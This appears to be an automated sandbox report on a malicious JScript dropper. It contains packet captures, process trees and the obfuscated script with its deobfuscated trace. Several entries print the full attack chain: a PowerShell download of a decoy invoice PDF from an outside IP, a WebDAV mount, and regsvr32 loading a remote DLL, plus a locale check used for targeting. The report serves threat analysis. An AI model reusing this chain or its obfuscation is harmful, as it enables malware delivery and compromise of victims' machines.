Jan 11, 2025 04:19:44.990967035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990979910 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.990992069 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.991003990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.991015911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.991029024 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.991051912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.991168022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.991208076 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:45.062472105 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:45.346200943 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:45.755332947 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:45.760155916 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:45.760390997 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:45.760390997 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:45.765182972 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:46.577502966 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:46.622762918 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:47.409893990 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 04:21:47.774009943 CET	55614	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:21:47.778907061 CET	53	55614	1.1.1.1	192.168.2.10
Jan 11, 2025 04:21:47.780018091 CET	55614	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:21:47.780057907 CET	55614	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:21:47.784907103 CET	53	55614	1.1.1.1	192.168.2.10
Jan 11, 2025 04:21:48.234193087 CET	53	55614	1.1.1.1	192.168.2.10
Jan 11, 2025 04:21:48.235620022 CET	55614	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:21:48.240752935 CET	53	55614	1.1.1.1	192.168.2.10
Jan 11, 2025 04:21:48.240853071 CET	55614	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:19:54.003406048 CET	65147	53	192.168.2.10	1.1.1.1
Jan 11, 2025 04:21:47.772442102 CET	53	52431	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:19:54.003406048 CET	192.168.2.10	1.1.1.1	0x2a0b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:19:54.010590076 CET	1.1.1.1	192.168.2.10	0x2a0b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:19:54.714901924 CET	1.1.1.1	192.168.2.10	0xf818	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:19:54.714901924 CET	1.1.1.1	192.168.2.10	0xf818	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:20:59.171269894 CET	1.1.1.1	192.168.2.10	0xdb33	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:20:59.171269894 CET	1.1.1.1	192.168.2.10	0xdb33	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:21:22.694561958 CET	1.1.1.1	192.168.2.10	0x3121	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:21:22.694561958 CET	1.1.1.1	192.168.2.10	0x3121	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:21:46.773216963 CET	1.1.1.1	192.168.2.10	0x3877	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:21:46.773216963 CET	1.1.1.1	192.168.2.10	0x3877	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49722	193.143.1.205	80	7912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:19:43.416102886 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:19:44.223187923 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:19:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:19:44.223207951 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:19:44.223221064 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:19:44.223361969 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 04:19:44.223375082 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 04:19:44.223396063 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 04:19:44.223407984 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 04:19:44.223421097 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 04:19:44.223433018 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 04:19:44.223445892 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 04:19:44.228252888 CET	328	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49738	193.143.1.205	8888	1824	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:19:45.760390997 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:19:46.577502966 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:19:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:19:39
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js"
Imagebase:	0x7ff7a9de0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:19:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Imagebase:	0x7ff7ad800000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:19:39
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:19:39
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:19:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:19:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ad800000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:19:44
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6770b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:19:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:19:45
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:19:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,2510451589917197200,12978037553807440395,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wozqprijv() {	wozqprijv() ➔ undefined
1	zvutmr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ofexjo = this[hsyapaw + zsvgzlnk + egvghqt + wpiaddnqb + rxzcuyel + rzjvebb + zxjbrthi + oxqktbzoo] ( this[chugtwjni + toyzt + lzdyonx + egvghqt + zlgex + hsyapaw + oxqktbzoo][vjffu + egvghqt + rxzcuyel + zsvgzlnk + oxqktbzoo + rxzcuyel + dljean + ohpcgu + ooqqjps + rxzcuyel + lzdyonx + oxqktbzoo] ( chugtwjni + toyzt + lzdyonx + egvghqt + zlgex + hsyapaw + oxqktbzoo + qxrgiafvd + toyzt + fatnfjmwc + rxzcuyel + qhsjyuevu + qhsjyuevu ) [vtwotwwdd + rxzcuyel + rfnuv + vtwotwwdd + rxzcuyel + zsvgzlnk + eqtbmkz] ( pbqvqokbb + cfcacdigk + dirtk + grijnodx + wvhxivuk + vjffu + vnzvvfl + vtwotwwdd + vtwotwwdd + dirtk + bzhnj + rnici + wvhxivuk + vnzvvfl + toyzt + dirtk + vtwotwwdd + hpgszfl + vjffu + zcgtrj + zxjbrthi + oxqktbzoo + egvghqt + zcgtrj + qhsjyuevu + bsohx + vvlem + zsvgzlnk + zxjbrthi + rxzcuyel + qhsjyuevu + hpgszfl + rzjvebb + zxjbrthi + oxqktbzoo + rxzcuyel + egvghqt + zxjbrthi + zsvgzlnk + oxqktbzoo + zlgex + zcgtrj + zxjbrthi + zsvgzlnk + qhsjyuevu + hpgszfl + hmcdpxmi + zcgtrj + lzdyonx + zsvgzlnk + qhsjyuevu + rxzcuyel ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( uygeloqv = 0 ; uygeloqv < zvutmr[qhsjyuevu + rxzcuyel + zxjbrthi + rfnuv + oxqktbzoo + fatnfjmwc] ; ++ uygeloqv )
4	{
5	if ( ofexjo == zvutmr[uygeloqv] )
6	{
7	ofexjo = true;
8	break ;
9	}
10	}
11	if ( ofexjo !== true )
12	this[chugtwjni + toyzt + lzdyonx + egvghqt + zlgex + hsyapaw + oxqktbzoo][wxqcpdsjw + owvnex + zlgex + oxqktbzoo] ( );
13	this[chugtwjni + toyzt + lzdyonx + egvghqt + zlgex + hsyapaw + oxqktbzoo][vjffu + egvghqt + rxzcuyel + zsvgzlnk + oxqktbzoo + rxzcuyel + dljean + ohpcgu + ooqqjps + rxzcuyel + lzdyonx + oxqktbzoo] ( chugtwjni + toyzt + lzdyonx + egvghqt + zlgex + hsyapaw + oxqktbzoo + qxrgiafvd + toyzt + fatnfjmwc + rxzcuyel + qhsjyuevu + qhsjyuevu ) [egvghqt + owvnex + zxjbrthi] ( lzdyonx + vxjaj + eqtbmkz + bsohx + gchasrqcn + lzdyonx + bsohx + hsyapaw + zcgtrj + tvhoxx + rxzcuyel + egvghqt + wpiaddnqb + fatnfjmwc + rxzcuyel + qhsjyuevu + qhsjyuevu + qxrgiafvd + rxzcuyel + stmutrr + rxzcuyel + bsohx + qmlfmp + vjffu + zcgtrj + vxjaj + vxjaj + zsvgzlnk + zxjbrthi + eqtbmkz + bsohx + ayqvwwvu + rzjvebb + zxjbrthi + wkompjkrc + zcgtrj + kbwauy + rxzcuyel + qmlfmp + chugtwjni + rxzcuyel + ohpcgu + vtwotwwdd + rxzcuyel + upgioibw + owvnex + rxzcuyel + wpiaddnqb + oxqktbzoo + bsohx + qmlfmp + dljean + owvnex + oxqktbzoo + sembtgyc + zlgex + qhsjyuevu + rxzcuyel + bsohx + fuuzt + oxqktbzoo + rxzcuyel + vxjaj + hsyapaw + fuuzt + hpgszfl + zlgex + zxjbrthi + wkompjkrc + zcgtrj + zlgex + lzdyonx + rxzcuyel + qxrgiafvd + hsyapaw + eqtbmkz + cjkonukq + bsohx + fatnfjmwc + oxqktbzoo + oxqktbzoo + hsyapaw + pbvltfafm + gchasrqcn + gchasrqcn + ixcxg + wjlfkjlhh + sgnhtxnx + qxrgiafvd + ixcxg + auiijihe + sgnhtxnx + qxrgiafvd + ixcxg + qxrgiafvd + dgiimg + pllvhkx + hduqlkfl + gchasrqcn + zlgex + zxjbrthi + wkompjkrc + zcgtrj + zlgex + lzdyonx + rxzcuyel + qxrgiafvd + hsyapaw + fatnfjmwc + hsyapaw + ayqvwwvu + neecyjlp + neecyjlp + wpiaddnqb + oxqktbzoo + zsvgzlnk + egvghqt + oxqktbzoo + bsohx + fuuzt + oxqktbzoo + rxzcuyel + vxjaj + hsyapaw + fuuzt + hpgszfl + zlgex + zxjbrthi + wkompjkrc + zcgtrj + zlgex + lzdyonx + rxzcuyel + qxrgiafvd + hsyapaw + eqtbmkz + cjkonukq + neecyjlp + neecyjlp + lzdyonx + vxjaj + eqtbmkz + bsohx + gchasrqcn + lzdyonx + bsohx + zxjbrthi + rxzcuyel + oxqktbzoo + bsohx + owvnex + wpiaddnqb + rxzcuyel + bsohx + hpgszfl + hpgszfl + ixcxg + wjlfkjlhh + sgnhtxnx + qxrgiafvd + ixcxg + auiijihe + sgnhtxnx + qxrgiafvd + ixcxg + qxrgiafvd + dgiimg + pllvhkx + hduqlkfl + hytbbuml + woeuorlb + woeuorlb + woeuorlb + woeuorlb + hpgszfl + eqtbmkz + zsvgzlnk + wkompjkrc + tvhoxx + tvhoxx + tvhoxx + egvghqt + zcgtrj + zcgtrj + oxqktbzoo + hpgszfl + neecyjlp + neecyjlp + lzdyonx + vxjaj + eqtbmkz + bsohx + gchasrqcn + lzdyonx + bsohx + egvghqt + rxzcuyel + rfnuv + wpiaddnqb + wkompjkrc + egvghqt + sgnhtxnx + dgiimg + bsohx + gchasrqcn + wpiaddnqb + bsohx + hpgszfl + hpgszfl + ixcxg + wjlfkjlhh + sgnhtxnx + qxrgiafvd + ixcxg + auiijihe + sgnhtxnx + qxrgiafvd + ixcxg + qxrgiafvd + dgiimg + pllvhkx + hduqlkfl + hytbbuml + woeuorlb + woeuorlb + woeuorlb + woeuorlb + hpgszfl + eqtbmkz + zsvgzlnk + wkompjkrc + tvhoxx + tvhoxx + tvhoxx + egvghqt + zcgtrj + zcgtrj + oxqktbzoo + hpgszfl + ixcxg + kaojkej + pllvhkx + wjlfkjlhh + dgiimg + dgiimg + dgiimg + sgnhtxnx + sgnhtxnx + dgiimg + woeuorlb + wjlfkjlhh + auiijihe + qxrgiafvd + eqtbmkz + qhsjyuevu + qhsjyuevu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll",0,false) ➔ 0
14	}
15	dirtk = "L";
16	dirtk = "O";
17	dirtk = "W";
18	dirtk = "u";
19	dirtk = "i";
20	dirtk = "s";
21	dirtk = "K";
22	dirtk = "o";
23	dirtk = "P";
24	dirtk = "Y";
25	dirtk = "J";
26	dirtk = "L";
27	dirtk = "y";
28	dirtk = "E";
29	dirtk = "V";
30	dirtk = "A";
31	dirtk = "M";
32	dirtk = "l";
33	dirtk = "Z";
34	dirtk = "M";
35	dirtk = "x";
36	dirtk = "m";
37	dirtk = "S";
38	dirtk = "v";
39	dirtk = "t";
40	dirtk = "q";
41	dirtk = "h";
42	dirtk = "d";
43	dirtk = "T";
44	dirtk = "a";
45	dirtk = "d";
46	dirtk = "P";
47	dirtk = "a";
48	dirtk = "z";
49	dirtk = "Q";
50	dirtk = "l";
51	dirtk = "B";
52	dirtk = "B";
53	dirtk = "B";
54	dirtk = "P";
55	dirtk = "p";
56	dirtk = "e";
57	dirtk = "E";
58	dgiimg = "K";
59	dgiimg = "l";
60	dgiimg = "k";
61	dgiimg = "i";
62	dgiimg = "V";
63	dgiimg = "M";
64	dgiimg = "y";
65	dgiimg = "T";
66	dgiimg = "L";
67	dgiimg = "E";
68	dgiimg = "R";
69	dgiimg = "y";
70	dgiimg = "Y";
71	dgiimg = "C";
72	dgiimg = "F";
73	dgiimg = "W";
74	dgiimg = "z";
75	dgiimg = "R";
76	dgiimg = "t";
77	dgiimg = "K";
